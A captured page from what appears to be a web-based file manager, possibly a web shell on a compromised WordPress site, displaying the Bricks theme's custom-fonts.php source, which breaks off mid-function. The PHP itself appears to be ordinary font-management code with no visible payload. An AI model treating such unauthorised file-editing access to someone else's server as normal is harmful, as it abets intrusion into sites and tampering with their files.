文件操作 - custom-fonts.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/stanleysteamer/public_html/wp-content/themes/bricks/includes/custom-fonts.php
编辑文件内容
<?php namespace Bricks; if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly /** * Custom Fonts Upload * * Font naming convention: custom_font_{font_id} * * @since 1.0 */ class Custom_Fonts { public static $fonts = false; public static $font_face_rules = ''; public function __construct() { add_filter( 'init', [ $this, 'register_post_type' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_scripts' ] ); add_action( 'admin_notices', [ $this, 'admin_notice_use_font_manager' ] ); add_filter( 'post_row_actions', [ $this, 'post_row_actions' ], 10, 2 ); add_filter( 'manage_' . BRICKS_DB_CUSTOM_FONTS . '_posts_columns', [ $this, 'manage_columns' ] ); add_action( 'manage_' . BRICKS_DB_CUSTOM_FONTS . '_posts_custom_column', [ $this, 'render_columns' ], 10, 2 ); add_action( 'add_meta_boxes_' . BRICKS_DB_CUSTOM_FONTS, [ $this, 'add_meta_boxes' ] ); add_filter( 'upload_mimes', [ $this, 'upload_mimes' ] ); add_action( 'wp_ajax_bricks_save_font_faces', [ $this, 'save_font_faces' ], 10, 2 ); add_action( 'wp_ajax_bricks_get_custom_font_data', [ $this, 'get_custom_font_data' ] ); add_action( 'wp_ajax_bricks_create_draft_font', [ $this, 'create_draft_font' ] ); add_action( 'wp_ajax_bricks_delete_draft_font', [ $this, 'delete_draft_font' ] ); add_action( 'wp_ajax_bricks_download_google_font', [ $this, 'download_google_font' ] ); add_action( 'wp_ajax_bricks_process_font_files', [ $this, 'process_font_files' ] ); add_action( 'wp_ajax_bricks_move_font_to_trash', [ $this, 'move_font_to_trash' ] ); add_action( 'wp_ajax_bricks_get_trashed_fonts', [ $this, 'get_trashed_fonts' ] ); add_action( 'wp_ajax_bricks_restore_font', [ $this, 'restore_font' ] ); add_action( 'wp_ajax_bricks_delete_font_permanently', [ $this, 'delete_font_permanently' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'add_inline_style_font_face_rules' ], 11 ); add_action( 'wp_enqueue_scripts', [ $this, 'add_inline_style_font_face_rules' ], 11 ); // Add preload tags to wp_head (@since 2.0) if ( Database::get_setting( 'customFontsPreload', false ) ) { add_action( 'wp_head', [ $this, 'preload_custom_fonts' ], 1 ); } // Add meta capability mapping add_filter( 'map_meta_cap', [ $this, 'map_meta_cap' ], 10, 4 ); } /** * Map meta capabilities for custom fonts * * @param array $caps The user's actual capabilities. * @param string $cap Capability name. * @param int $user_id The user ID. * @param array $args Adds the context to the cap. Typically the object ID. * @return array The user's actual capabilities. */ public function map_meta_cap( $caps, $cap, $user_id, $args ) { // List of all custom font capabilities $custom_font_caps = [ 'read_custom_font', 'edit_custom_font', 'edit_custom_fonts', 'edit_others_custom_fonts', 'publish_custom_fonts', 'read_private_custom_fonts', 'delete_custom_font', 'delete_custom_fonts', 'delete_others_custom_fonts', 'delete_published_custom_fonts', 'delete_private_custom_fonts', 'edit_private_custom_fonts', 'edit_published_custom_fonts', 'create_custom_fonts', ]; // Only handle our custom font capabilities if ( ! in_array( $cap, $custom_font_caps ) ) { return $caps; } // Check if user has font manager access permission if ( Builder_Permissions::user_has_permission( 'access_font_manager', $user_id ) ) { $caps = [ 'exist' ]; // Grant access return $caps; } // Get all capabilities that have fonts manager access permission $font_manager_capabilities = Builder_Permissions::get_capabilities_by_permission( 'access_font_manager' ); // If no capabilities have fonts manager access, restrict to full access only if ( empty( $font_manager_capabilities ) ) { $caps = [ Capabilities::FULL_ACCESS ]; } else { // Check if user has any of the required capabilities $user = get_userdata( $user_id ); if ( ! $user ) { $caps = [ 'do_not_allow' ]; return $caps; } $user_has_access = false; foreach ( $font_manager_capabilities as $required_cap ) { if ( $user->has_cap( $required_cap ) ) { $user_has_access = true; break; } } $caps = $user_has_access ? [ 'exist' ] : [ 'do_not_allow' ]; } return $caps; } /** * Admin notice to inform users about the new Font Manager * * @since 2.0 */ public function admin_notice_use_font_manager() { $current_screen = get_current_screen(); if ( is_object( $current_screen ) && $current_screen->post_type === BRICKS_DB_CUSTOM_FONTS ) { echo '<div class="notice notice-info is-dismissible bricks-notice">'; echo '<p>' . sprintf( esc_html__( 'You can now manage your custom fonts using the new %s in the builder.', 'bricks' ), Helpers::article_link( 'font-manager', esc_html__( 'Font Manager', 'bricks' ) ) ) . '</p>'; echo '</div>'; } } /** * Generate custom font-face rules when viewing/editing "Custom fonts" in admin area * * @since 1.7.2 */ public function generate_custom_font_face_rules() { $current_screen = get_current_screen(); $fonts = self::get_custom_fonts(); // Generate CSS rules without modifying the original font faces structure $font_face_rules = self::$font_face_rules; if ( $font_face_rules ) { update_option( BRICKS_DB_CUSTOM_FONT_FACE_RULES, $font_face_rules ); } else { delete_option( BRICKS_DB_CUSTOM_FONT_FACE_RULES ); } } /** * Add inline style for custom @font-face rules * * @since 1.7.2 */ public function add_inline_style_font_face_rules() { $font_face_rules = get_option( BRICKS_DB_CUSTOM_FONT_FACE_RULES, false ); // Generate custom font-face rules if not exist while in wp-admin if ( ! $font_face_rules && is_admin() ) { $fonts = self::get_custom_fonts(); // Generate CSS rules without modifying the original font faces structure $font_face_rules = self::$font_face_rules; if ( $font_face_rules ) { update_option( BRICKS_DB_CUSTOM_FONT_FACE_RULES, $font_face_rules ); } } // Add inline style for custom @font-face rules if ( $font_face_rules ) { wp_add_inline_style( is_admin() ? 'bricks-admin' : 'bricks-frontend', $font_face_rules ); } } /** * Get all custom fonts (in-builder, frontend, and assets generation) */ public static function get_custom_fonts() { // Return already generated fonts if ( self::$fonts ) { return self::$fonts; } $font_ids = get_posts( [ 'post_type' => BRICKS_DB_CUSTOM_FONTS, 'posts_per_page' => -1, 'fields' => 'ids', 'no_found_rows' => true, // Skip the 'found_posts' calculation ] ); $fonts = []; foreach ( $font_ids as $font_id ) { // Add 'custom_font_' prefix for correct font order in ControlTypography.vue & to build @font-face from font ID $fonts[ "custom_font_{$font_id}" ] = [ 'id' => "custom_font_{$font_id}", 'family' => html_entity_decode( get_the_title( $font_id ), ENT_QUOTES, 'UTF-8' ), 'fontFaces' => self::generate_font_face_rules( $font_id ), ]; } self::$fonts = $fonts; return $fonts; } /** * Generate custom font-face rules * * Load all font-faces. Otherwise always forced to select font-family + font-weight. * * @param int $font_id Custom font ID. * @return string Font-face rules for $font_id. */ public static function generate_font_face_rules( $font_id = 0 ) { $font_faces = get_post_meta( $font_id, BRICKS_DB_CUSTOM_FONT_FACES, true ); if ( ! $font_faces ) { return; } $font_family = get_the_title( $font_id ); $font_face_rules = ''; if ( ! is_array( $font_faces ) ) { return; } // $key: font-weight + variant (e.g.: 700italic) foreach ( $font_faces as $key => $font_face ) { $font_weight = filter_var( $key, FILTER_SANITIZE_NUMBER_INT ); $font_style = str_replace( $font_weight, '', $key ); // Check if new structure (array of subsets) or legacy (single subset) // Legacy: ['woff2' => 123, 'woff' => 124] (associative, keys are formats) // New: [['woff2' => 123, 'unicode-range' => '...'], ['woff2' => 125]] (numeric keys) $subsets = []; if ( isset( $font_face[0] ) && is_array( $font_face[0] ) ) { $subsets = $font_face; } else { $subsets = [ $font_face ]; } foreach ( $subsets as $subset ) { $src = []; $unicode_range = ! empty( $subset['unicode-range'] ) ? $subset['unicode-range'] : ''; foreach ( $subset as $format => $value ) { if ( $format === 'unicode-range' ) { continue; } $font_variant_url = wp_get_attachment_url( $subset[ $format ] ); if ( $font_variant_url ) { if ( $format === 'ttf' ) { $format = 'truetype'; } elseif ( $format === 'otf' ) { $format = 'opentype'; } elseif ( $format === 'eot' ) { $format = 'embedded-opentype'; } // Load woff2 first (smaller file size, almost same support as 'woff') if ( $format === 'woff2' ) { array_unshift( $src, "url($font_variant_url) format(\"$format\")" ); } else { array_push( $src, "url($font_variant_url) format(\"$format\")" ); } } } if ( ! count( $src ) ) { continue; // Skip this subset if no sources found } $src = implode( ',', $src ); if ( $font_family && $src ) { $font_face_rules .= '@font-face{'; $font_face_rules .= "font-family:\"$font_family\";"; if ( $font_weight ) { $font_face_rules .= "font-weight:$font_weight;"; } if ( $font_style ) { $font_face_rules .= "font-style:$font_style;"; } if ( $unicode_range ) { $font_face_rules .= "unicode-range:$unicode_range;"; } $font_face_rules .= 'font-display:swap;'; $font_face_rules .= "src:$src;"; $font_face_rules .= '}'; } } } self::$font_face_rules .= "$font_face_rules\n"; return $font_face_rules; } /** * Preload custom fonts in wp_head * * Hook priority 1 to ensure it runs before other styles/scripts. * * @see https://web.dev/articles/codelab-preload-web-fonts * @since 2.0 */ public function preload_custom_fonts() { $fonts = self::get_custom_fonts(); if ( ! $fonts ) { return; } // Collect all theme style and element settings that use custom fonts $all_elements = []; // Get active theme styles $theme_styles = Theme_Styles::$settings_by_id; if ( is_array( $theme_styles ) && ! empty( $theme_styles ) ) { // Loop through each theme style to check for custom fonts foreach ( $theme_styles as $theme_style_id => $theme_style_settings ) { if ( is_array( $theme_style_settings ) ) { foreach ( $theme_style_settings as $group => $settings ) { if ( is_array( $settings ) ) { foreach ( $settings as $setting_key => $setting_value ) { if ( ! empty( $setting_value['font-family'] ) && strpos( $setting_value['font-family'], 'custom_font_' ) === 0 ) { // If the font-family is a custom font, add it to the all_elements array $all_elements[] = [ 'settings' => [ $setting_key => $setting_value, ], ]; } } } } } } } $content_type = Database::$active_templates['content_type'] ?? 'content'; $header_template_id = Database::$active_templates['header'] ?? 0; $content_post_id = Database::$active_templates[ $content_type ] ?? get_the_ID(); $footer_template_id = Database::$active_templates['footer'] ?? 0; $page_settings_post_ids = array_filter( [ $header_template_id, is_array( $content_post_id ) ? 0 : $content_post_id, $footer_template_id, ] ); $header_elements = Database::get_nested_template_data( Database::get_template_data( 'header' ) ); $content_elements = Database::get_nested_template_data( Database::get_template_data( $content_type ) ); $footer_elements = Database::get_nested_template_data( Database::get_template_data( 'footer' ) ); if ( is_array( $header_elements ) ) { $all_elements = array_merge( $all_elements, $header_elements ); } if ( is_array( $content_elements ) ) { $all_elements = array_merge( $all_elements, $content_elements ); } if ( is_array( $footer_elements ) ) { $all_elements = array_merge( $all_elements, $footer_elements ); } foreach ( array_unique( $page_settings_post_ids ) as $post_id ) { $page_settings = get_post_meta( $post_id, BRICKS_DB_PAGE_SETTINGS, true ); if ( ! empty( $page_settings ) && is_array( $page_settings ) ) { $all_elements[] = [ 'settings' => $page_settings, ]; } $template_settings = get_post_meta( $post_id, BRICKS_DB_TEMPLATE_SETTINGS, true ); if ( ! empty( $template_settings ) && is_array( $template_settings ) ) { $all_elements[] = [ 'settings' => $template_settings, ]; } } $link_tags_preloaded = []; $custom_font_occurrences = []; // Create rel="preload" tags for all custom font occurrences in the elements foreach ( $all_elements as $element ) { $element_settings = ! empty( $element['settings'] ) && is_array( $element['settings'] ) ? $element['settings'] : []; // Collect all class settings (@since 2.0.2) $element_class_ids = ! empty( $element_settings['_cssGlobalClasses'] ) && is_array( $element_settings['_cssGlobalClasses'] ) ? $element_settings['_cssGlobalClasses'] : false; if ( $element_class_ids ) { foreach ( $element_class_ids as $class_id ) { // Get global class settings by ID $class_settings = Helpers::get_global_class_by_id( $class_id, 'settings' ); // Add class settings to elements settings with class.id prefixed if ( is_array( $class_settings ) ) { foreach ( $class_settings as $class_key => $class_value ) { $element_settings[ "class.$class_id.$class_key" ] = $class_value; } } } } // Collect all component settings (@since 2.1) $component_instance = ! empty( $element['cid'] ) ? Helpers::get_component_instance( $element ) : false; if ( $component_instance ) { foreach ( $component_instance['elements'] as $component_element ) { if ( ! empty( $component_element['settings'] ) && is_array( $component_element['settings'] ) ) { foreach ( $component_element['settings'] as $comp_key => $comp_value ) { $element_settings[ "{$element['id']}.{$component_element['id']}.$comp_key" ] = $comp_value; } } } } foreach ( $element_settings as $key => $value ) { $font_family = $value['font-family'] ?? ''; $font_weight = $value['font-weight'] ?? '400'; $font_style = $value['font-style'] ?? ''; $custom_font_occurrence = $font_family . '|' . $font_weight . '|' . $font_style; // Skip duplicate occurrences if ( in_array( $custom_font_occurrence, $custom_font_occurrences, true ) ) { continue; } $custom_font_occurrences[] = $custom_font_occurrence; $custom_font = $fonts[ $font_family ] ?? null; if ( $custom_font ) { $font_faces = $custom_font['fontFaces'] ?? false; if ( $font_faces ) { // Split by @font-face $font_faces = explode( '@font-face', $font_faces ); $font_face = ''; // Get the first font-face that matches the current font-weight, and font-style foreach ( $font_faces as $face ) { if ( strpos( $face, "font-weight:$font_weight" ) !== false ) { if ( $font_style && strpos( $face, "font-style:$font_style" ) !== false ) { $font_face = $face; } else { $font_face = $face; } break; } } if ( $font_face ) { // Get font URL from the $font_face string preg_match_all( '/url\((.*?)\)/', $font_face, $matches ); $font_urls = $matches[1] ?? []; $font_url = $font_urls[0] ?? ''; // Get file format from the URL $file_extension = pathinfo( $font_url, PATHINFO_EXTENSION ); // Add preload link tag for the font URL if ( $font_url && in_array( $file_extension, [ 'woff2', 'woff', 'ttf' ], true ) ) { $link_tags_preloaded[] = sprintf( '<link rel="preload" href="%s" as="font" type="font/%s" crossorigin="anonymous">', esc_url( $font_url ), esc_attr( $file_extension ) ); } } } } } } // Return: No custom fonts to preload if ( empty( $link_tags_preloaded ) ) { return; } // Output the preload link tags echo implode( "\n", $link_tags_preloaded ) . "\n"; } public function admin_enqueue_scripts() { $current_screen = get_current_screen(); if ( is_object( $current_screen ) && $current_screen->post_type === BRICKS_DB_CUSTOM_FONTS ) { // Generate custom font-face rules on custom font edit page $this->generate_custom_font_face_rules(); wp_enqueue_media(); wp_enqueue_script( 'bricks-custom-fonts', BRICKS_URL_ASSETS . 'js/custom-fonts.min.js', [], filemtime( BRICKS_PATH_ASSETS . 'js/custom-fonts.min.js' ), true ); } } public function add_meta_boxes() { add_meta_box( 'bricks-font-metabox', esc_html__( 'Manage your custom font files', 'bricks' ), [ $this, 'render_meta_boxes' ], BRICKS_DB_CUSTOM_FONTS, 'normal', 'default' ); } /** * Enable font file uploads for the following mime types: .TTF, .woff, .woff2 * * Specified in 'get_custom_fonts_mime_types' function below. * * .EOT only supported in IE (https://caniuse.com/?search=eot) * * https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types */ public function upload_mimes( $mime_types ) { // NOTE: Check for full builder access to upload .woff2 files in font manager (@since 2.0) if ( Builder_Permissions::user_has_permission( 'access_font_manager' ) ) { foreach ( $this->get_custom_fonts_mime_types() as $type => $mime ) { if ( ! isset( $mime_types[ $type ] ) ) { $mime_types[ $type ] = $mime; } } } return $mime_types; } private static function get_custom_fonts_mime_types() { $font_mime_types = [ // 'eot' => 'font/eot', // <IE9 only (if specified, it must be listed first) 'woff2' => 'font/woff2', 'woff' => 'font/woff', 'ttf' => 'font/ttf', ]; // NOTE: Undocumented return apply_filters( 'bricks/custom_fonts/mime_types', $font_mime_types ); } public function render_meta_boxes( $post ) { echo '<h2 class="title">'; esc_html_e( 'Manage your custom font files', 'bricks' ); echo Helpers::article_link( 'custom-fonts', '<i class="dashicons dashicons-editor-help"></i>' ); echo '</h2>'; $font_faces = get_post_meta( $post->ID, BRICKS_DB_CUSTOM_FONT_FACES, true ); if ( is_array( $font_faces ) && count( $font_faces ) ) { foreach ( $font_faces as $font_variant => $font_face ) { // Handle new structure (array of subsets) vs legacy (single subset) $subsets = []; if ( isset( $font_face[0] ) && is_array( $font_face[0] ) ) { $subsets = $font_face; } else { $subsets = [ $font_face ]; } foreach ( $subsets as $subset ) { echo self::render_font_faces_meta_box( $subset, $font_variant ); } } } else { echo self::render_font_faces_meta_box( [], 400 ); } echo '<button id="bricks-custom-fonts-add-font-variant" class="button button-primary">' . esc_html__( 'Add a font variant', 'bricks' ) . '</button>'; } public static function render_font_faces_meta_box( $font_face = [], $font_variant = 400 ) { $mime_types = self::get_custom_fonts_mime_types(); $font_weight = substr( $font_variant, 0, 3 ); $font_style = substr( $font_variant, 3, strlen( $font_variant ) ); $unicode_range = isset( $font_face['unicode-range'] ) ? $font_face['unicode-range'] : ''; ob_start(); ?> <div class="bricks-font-variant"> <div class="font-header"> <div class="bricks-font-weight-wrapper" data-balloon="<?php esc_html_e( 'Font weight', 'bricks' ); ?>"> <select name="font_weight"> <option value="100" <?php selected( $font_weight, 100, true ); ?>><?php echo '100 (' . esc_html__( 'Thin', 'bricks' ); ?>)</option> <option value="200" <?php selected( $font_weight, 200, true ); ?>><?php echo '200 (' . esc_html__( 'Extra Light', 'bricks' ); ?>)</option> <option value="300" <?php selected( $font_weight, 300, true ); ?>><?php echo '300 (' . esc_html_x( 'Light', 'font weight', 'bricks' ); ?>)</option> <option value="400" <?php selected( $font_weight, 400, true ); ?>><?php echo '400 (' . esc_html__( 'Normal', 'bricks' ); ?>)</option> <option value="500" <?php selected( $font_weight, 500, true ); ?>><?php echo '500 (' . esc_html__( 'Medium', 'bricks' ); ?>)</option> <option value="600" <?php selected( $font_weight, 600, true ); ?>><?php echo '600 (' . esc_html__( 'Semi Bold', 'bricks' ); ?>)</option> <option value="700" <?php selected( $font_weight, 700, true ); ?>><?php echo '700 (' . esc_html__( 'Bold', 'bricks' ); ?>)</option> <option value="800" <?php selected( $font_weight, 800, true ); ?>><?php echo '800 (' . esc_html__( 'Extra Bold', 'bricks' ); ?>)</option> <option value="900" <?php selected( $font_weight, 900, true ); ?>><?php echo '900 (' . esc_html__( 'Black', 'bricks' ); ?>)</option> </select> </div> <div class="bricks-font-style-wrapper" data-balloon="<?php esc_html_e( 'Font style', 'bricks' ); ?>"> <select name="font_style"> <option value="" <?php selected( $font_style, '', true ); ?>><?php esc_html_e( 'Normal', 'bricks' ); ?></option> <option value="italic" <?php selected( $font_style, 'italic', true ); ?>><?php esc_html_e( 'Italic', 'bricks' ); ?></option> <option value="oblique" <?php selected( $font_style, 'oblique', true ); ?>><?php esc_html_e( 'Oblique', 'bricks' ); ?></option> </select> </div> <div class="bricks-font-unicode-range-wrapper" style="margin-left: 10px; flex-grow: 1;<?php echo ! $unicode_range ? ' display: none;' : ''; ?>"> <input type="text" name="unicode_range" value="<?php echo esc_attr( $unicode_range ); ?>" placeholder="<?php esc_attr_e( 'Unicode Range (e.g. U+0025-00A9)', 'bricks' ); ?>" style="width: 100%;" readonly> </div> <div class="bricks-font-preview" data-balloon="<?php esc_html_e( 'Font preview', 'bricks' ); ?>"> <?php $font_id = get_the_ID(); $font_family = get_the_title(); $style = [ 'font-family: "' . $font_family . '"', 'font-weight: ' . $font_weight, ]; if ( ! empty( $font_style ) ) { $style[] = "font-style: $font_style"; } ?> <div class="pangram" style='<?php echo implode( ';', $style ); ?>'><?php esc_html_e( 'The quick brown fox jumps over the lazy dog.', 'bricks ' ); ?></div> </div> <div class="actions"> <button class="button edit" data-label="<?php esc_html_e( 'Close', 'bricks' ); ?>"><?php esc_html_e( 'Edit', 'bricks' ); ?></button> <button class="button delete"><?php esc_html_e( 'Delete', 'bricks' ); ?></button> </div> </div> <ul class="font-faces hide"> <?php foreach ( $mime_types as $extension => $mime_type ) { $font_id = isset( $font_face[ $extension ] ) ? $font_face[ $extension ] : ''; $font_url = wp_get_attachment_url( $font_id ); $file_size = $font_id ? ceil( filesize( get_attached_file( $font_id ) ) / 1024 ) . ' KB' : false; $placeholder = ''; switch ( $extension ) { case 'ttf': $placeholder = esc_html__( 'TrueType Font: Uncompressed font data, but partial IE9+ support.', 'bricks' ); break; case 'woff': $placeholder = esc_html__( 'Web Open Font Format: Compressed TrueType/OpenType font with information about font source and full IE9+ support (recommended).', 'bricks' ); break; case 'woff2': $placeholder = esc_html__( 'Web Open Font Format 2.0: TrueType/OpenType font with even better compression than WOFF 1.0, but no IE browser support.', 'bricks' ); break; } ?> <li class="font-face"> <label> <div class="font-name" data-balloon="<?php echo $file_size; ?>"> <?php // translators: %s: Font file extension (e.g.: TTF, WOFF, WOFF2) printf( esc_html__( '%s file', 'bricks' ), strtoupper( $extension ) ); ?> </div> </label> <input type="url" name="font_url" value="<?php echo $font_url; ?>" placeholder="<?php echo $placeholder; ?>" readonly> <input type="number" name="font_id" value="<?php echo $font_id; ?>" readonly> <button id="<?php echo Helpers::generate_random_id(); ?>" class="button upload<?php echo $font_id ? ' hide' : ''; ?>" data-mime-type="<?php echo esc_attr( $mime_type ); ?>" data-extension="<?php echo esc_attr( $extension ); ?>" <?php // translators: %s: Font file extension (e.g.: TTF, WOFF, WOFF2) ?> data-title="<?php echo esc_attr( sprintf( esc_html__( 'Upload .%s file', 'bricks' ), $extension ) ); ?>"><?php esc_html_e( 'Upload', 'bricks' ); ?></button> <button class="button remove<?php echo $font_id ? '' : ' hide'; ?>"><?php esc_html_e( 'Remove', 'bricks' ); ?></button> </li> <?php } ?> </ul> </div> <?php return ob_get_clean(); } public function save_font_faces() { Ajax::verify_nonce( 'bricks-nonce-admin' ); $post_id = isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0; $font_faces = isset( $_POST['font_faces'] ) ? json_decode( stripslashes( $_POST['font_faces'] ), true ) : false; if ( ! Capabilities::current_user_can_use_builder( $post_id ) ) { wp_send_json_error( [ 'message' => esc_html__( 'Not allowed', 'bricks' ) ] ); } if ( is_array( $font_faces ) && count( $font_faces ) ) { $updated = update_post_meta( $post_id, BRICKS_DB_CUSTOM_FONT_FACES, $font_faces ); } else { $updated = delete_post_meta( $post_id, BRICKS_DB_CUSTOM_FONT_FACES ); } // Update font face rules in options table (@since 1.7.2) if ( $updated ) { $fonts = self::get_custom_fonts(); if ( is_string( self::$font_face_rules ) ) { update_option( BRICKS_DB_CUSTOM_FONT_FACE_RULES, self::$font_face_rules ); } } wp_send_json_success( [ 'post_id' => $post_id, 'font_faces' => $font_faces, 'updated' => $updated, ] ); } public function manage_columns( $columns ) { $columns = [ 'cb' => '<input type="checkbox" />', 'title' => esc_html__( 'Font family', 'bricks' ), 'font_preview' => esc_html__( 'Font preview', 'bricks' ), ]; $mime_types = self::get_custom_fonts_mime_types(); foreach ( $mime_types as $extension => $label ) { // translators: %s: Font file extension (e.g.: TTF, WOFF, WOFF2) $columns[ $extension ] = sprintf( esc_html__( '%s file', 'bricks' ), strtoupper( $extension ) ); } return $columns; } public function render_columns( $column, $post_id ) { if ( $column === 'font_preview' ) { echo '<div class="pangram" style="font-family: \'' . get_the_title( $post_id ) . '\'; font-size: 18px">'; esc_html_e( 'The quick brown fox jumps over the lazy dog.', 'bricks ' ); echo '</div>'; } $extensions = array_keys( self::get_custom_fonts_mime_types() ); $font_faces = get_post_meta( $post_id, BRICKS_DB_CUSTOM_FONT_FACES, true ); if ( in_array( $column, $extensions ) && $font_faces ) { $has_font_file = false; foreach ( $font_faces as $font_variant => $font_face ) { // Legacy structure: ['woff2' => 123, 'woff' => 124] if ( ! empty( $font_face[ $column ] ) ) { $has_font_file = true; break; } // New structure (@since 2.3.2): [ ['woff2' => 123], ['woff2' => 456, 'unicode-range' => '...'] ] if ( isset( $font_face[0] ) && is_array( $font_face[0] ) ) { foreach ( $font_face as $subset ) { if ( ! empty( $subset[ $column ] ) ) { $has_font_file = true; break 2; } } } } echo $has_font_file ? '<i class="dashicons dashicons-yes-alt"></i>' : '<i class="dashicons dashicons-minus"></i>'; } } public function post_row_actions( $actions, $post ) { // Remove 'Quick Edit' if ( $post->post_type === BRICKS_DB_CUSTOM_FONTS ) { // unset( $actions['inline hide-if-no-js'] ); unset( $actions['view'] ); } return $actions; } public function register_post_type() { $args = [ 'labels' => [ 'name' => esc_html__( 'Custom Fonts', 'bricks' ), 'singular_name' => esc_html__( 'Custom Font', 'bricks' ), 'add_new' => esc_html__( 'Add New', 'bricks' ), 'add_new_item' => esc_html__( 'Add New Custom Font', 'bricks' ), 'edit_item' => esc_html__( 'Edit Custom Font', 'bricks' ), 'new_item' => esc_html__( 'New Custom Font', 'bricks' ), 'view_item' => esc_html__( 'View Custom Font', 'bricks' ), 'view_items' => esc_html__( 'View Custom Fonts', 'bricks' ), 'search_items' => esc_html__( 'Search Custom Fonts', 'bricks' ), 'not_found' => esc_html__( 'No Custom Fonts found', 'bricks' ), 'not_found_in_trash' => esc_html__( 'No Custom Font found in Trash', 'bricks' ), 'all_items' => esc_html__( 'All Custom Fonts', 'bricks' ), 'menu_name' => esc_html__( 'Custom Fonts', 'bricks' ), ], 'public' => false, 'publicly_queryable' => false, 'show_ui' => true, 'show_in_menu' => false, 'show_in_nav_menus' => false, 'exclude_from_search' => true, 'hierarchical' => false, 'rewrite' => false, 'supports' => [ 'title' ], ]; // Use meta capabilities for custom fonts access control $args['capability_type'] = 'custom_font'; $args['capabilities'] = [ 'read_post' => 'read_custom_font', 'edit_post' => 'edit_custom_font', 'edit_posts' => 'edit_custom_fonts', 'edit_others_posts' => 'edit_others_custom_fonts', 'publish_posts' => 'publish_custom_fonts', 'read_private_posts' => 'read_private_custom_fonts', 'delete_post' => 'delete_custom_font', 'delete_posts' => 'delete_custom_fonts', 'delete_others_posts' => 'delete_others_custom_fonts', 'delete_published_posts' => 'delete_published_custom_fonts', 'delete_private_posts' => 'delete_private_custom_fonts', 'edit_private_posts' => 'edit_private_custom_fonts', 'edit_published_posts' => 'edit_published_custom_fonts', 'create_posts' => 'create_custom_fonts', ]; register_post_type( BRICKS_DB_CUSTOM_FONTS, $args ); } /** * Get custom font data for the font editor */ public function get_custom_font_data() { \Bricks\Ajax::verify_nonce( 'bricks-nonce-builder' ); $post_id = isset( $_POST['postId'] ) ? intval( $_POST['postId'] ) : 0; if ( ! $post_id || ! Builder_Permissions::user_has_permission( 'access_font_manager' ) ) { wp_send_json_error( [ 'message' => esc_html__( 'Not allowed', 'bricks' ) ] ); } $font_faces = get_post_meta( $post_id, BRICKS_DB_CUSTOM_FONT_FACES, true ); $font_data = []; if ( $font_faces ) { foreach ( $font_faces as $key => $face ) { $subsets = []; if ( isset( $face[0] ) && is_array( $face[0] ) ) { // New structure: array of subsets $subsets = $face; } else { // Legacy structure: single subset $subsets[] = $face; } $processed_subsets = []; foreach ( $subsets as $subset ) { $url = ''; $type = ''; $filename = ''; $unicode_range = ! empty( $subset['unicode-range'] ) ? $subset['unicode-range'] : ''; // Check each format in order of preference foreach ( [ 'woff2', 'woff', 'ttf' ] as $format ) { if ( isset( $subset[ $format ] ) && $subset[ $format ] ) { $attachment_id = $subset[ $format ]; $url = wp_get_attachment_url( $attachment_id ); if ( $url ) { $type = 'font/' . $format; $filename = basename( get_attached_file( $attachment_id ) ); break; } } } $processed_subsets[] = [ 'url' => $url, 'type' => $type, 'filename' => $filename, 'unicode-range' => $unicode_range, ]; } // If it's legacy (single subset), return just the object to maintain BC if needed? // Actually, frontend should be updated to handle array. But for now, let's return array if > 1 or if it was new structure. // However, if we change the structure, frontend needs to know. // The plan says: "Handle the new array-based structure when loading font data." in frontend. // So I can return array of subsets. But to be safe for existing frontend code (if it's not updated yet? No I update it now), // I'll return array of objects for this key. $font_data[ $key ] = $processed_subsets; } } wp_send_json_success( [ 'fontFaces' => $font_data, 'family' => get_the_title( $post_id ) ] ); } /** * Create a draft custom font post and return the post ID * * @since 2.0 */ public function create_draft_font() { \Bricks\Ajax::verify_nonce( 'bricks-nonce-builder' ); if ( ! Builder_Permissions::user_has_permission( 'access_font_manager' ) ) { wp_send_json_error( [ 'message' => esc_html__( 'You don\'t have permission to perform this action.', 'bricks' ) ] ); } // Create a draft custom font post $post_data = [ 'post_title' => '', // Empty title initially 'post_type' => BRICKS_DB_CUSTOM_FONTS, 'post_status' => 'draft', ]; $post_id = wp_insert_post( $post_data ); if ( is_wp_error( $post_id ) ) { wp_send_json_error( [ 'message' => esc_html__( 'Failed to create font draft.', 'bricks' ) ] ); } // Return the real post ID with the custom_font_ prefix wp_send_json_success( [ 'fontId' => "custom_font_{$post_id}", 'postId' => $post_id ] ); } /** * Delete an empty draft custom font post * * This cleans up unused draft posts when users create but don't use fonts * * @since 2.0 */ public function delete_draft_font() { \Bricks\Ajax::verify_nonce( 'bricks-nonce-builder' ); if ( ! Builder_Permissions::user_has_permission( 'access_font_manager' ) ) { wp_send_json_error( [ 'message' => esc_html__( 'You don\'t have permission to perform this action.', 'bricks' ) ] ); } $post_id = isset( $_POST['postId'] ) ? intval( $_POST['postId'] ) : 0; if ( ! $post_id ) { wp_send_json_error( [ 'message' => esc_html__( 'Invalid font ID.', 'bricks' ) ] ); } // Get the post to verify it exists and is a draft $post = get_post( $post_id ); if ( ! $post || $post->post_type !== BRICKS_DB_CUSTOM_FONTS ) { wp_send_json_error( [ 'message' => esc_html__( 'Font not found.', 'bricks' ) ] ); } // Only allow deletion of drafts with empty titles and no font faces $font_faces = get_post_meta( $post_id, BRICKS_DB_CUSTOM_FONT_FACES, true ); $is_empty_draft = ( $post->post_status === 'draft' || empty( trim( $post->post_title ) ) ) && ( ! $font_faces || ( is_array( $font_faces ) && empty( $font_faces ) ) ); if ( ! $is_empty_draft ) { wp_send_json_error( [ 'message' => esc_html__( 'Only empty draft fonts can be deleted.', 'bricks' ) ] ); } // Delete the post permanently (since it's unused) $result = wp_delete_post( $post_id, true ); if ( ! $result ) { wp_send_json_error( [ 'message' => esc_html__( 'Failed to delete draft font.', 'bricks' ) ] ); } wp_send_json_success( [ 'message' => esc_html__( 'Draft font deleted successfully.', 'bricks' ) ] ); } /** * Download Google Font and convert it to a custom font * * @since 1.0 * @throws \Exception When user doesn't have permissions or when font download/processing fails. */ public function download_google_font() { Ajax::verify_nonce( 'bricks-nonce-builder' ); if ( ! Builder_Permissions::user_has_permission( 'access_font_manager' ) ) { wp_send_json_error( [ 'message' => esc_html__( 'You don\'t have permission to perform this action.', 'bricks' ) ] ); } $font_family = isset( $_POST['family'] ) ? sanitize_text_field( $_POST['family'] ) : ''; $variants = isset( $_POST['variants'] ) ? array_map( 'sanitize_text_field', $_POST['variants'] ) : 